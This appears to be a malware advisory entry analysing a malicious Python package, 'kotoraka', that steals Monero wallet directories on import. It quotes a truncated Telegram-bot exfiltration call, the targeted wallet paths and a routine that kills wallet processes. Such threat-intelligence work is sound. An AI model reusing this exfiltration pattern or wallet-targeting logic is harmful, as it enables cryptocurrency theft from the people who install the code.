GCVE-110-OSM-2026-10128

This package is a credential/data theft loader targeting cryptocurrency wallets for an attacker-controlled Telegram bot, not a legitimate library. The import-time code in `kotoraka/__init__.py` locates Monero wallet directories on Windows/Linux, archives them with `shutil.make_archive`, and exfiltrates the ZIP via `https://api.telegram.org/bot{TK}/sendDocument` using a hardcoded `CHAT_ID`. The Telegram token is base64-encoded, the module runs on import, and the `kill_processes()` routine targets `feather` and `monero`, which is consistent with an operator trying to evade wallet software and steal wallet data. The attacker model is straightforward: a cryptocurrency wallet thief using Telegram as the C2/exfil channel, with the decoded paths `C:\Users\{}\Documents\Monero` and `/home/{}/Monero` showing explicit wallet targeting. ENTRY kotoraka/__init__.py (module-import: 80) DESTINATION - 2 exfil (telegram-bot) (values recorded in verified_iocs) EXFIL - Python Archive Exfiltration in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Python File Upload to Remote in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Network Request in kotoraka/__init__.py: "requests.post(" - System Information Collection in kotoraka/__init__.py: "platform.system()" OBFUSCATION - Decoded Base64 Content in kotoraka/__init__.py (x3) - recovered 2 paths from decoded/deobfuscated content PAYLOAD FILES kotoraka/__init__.py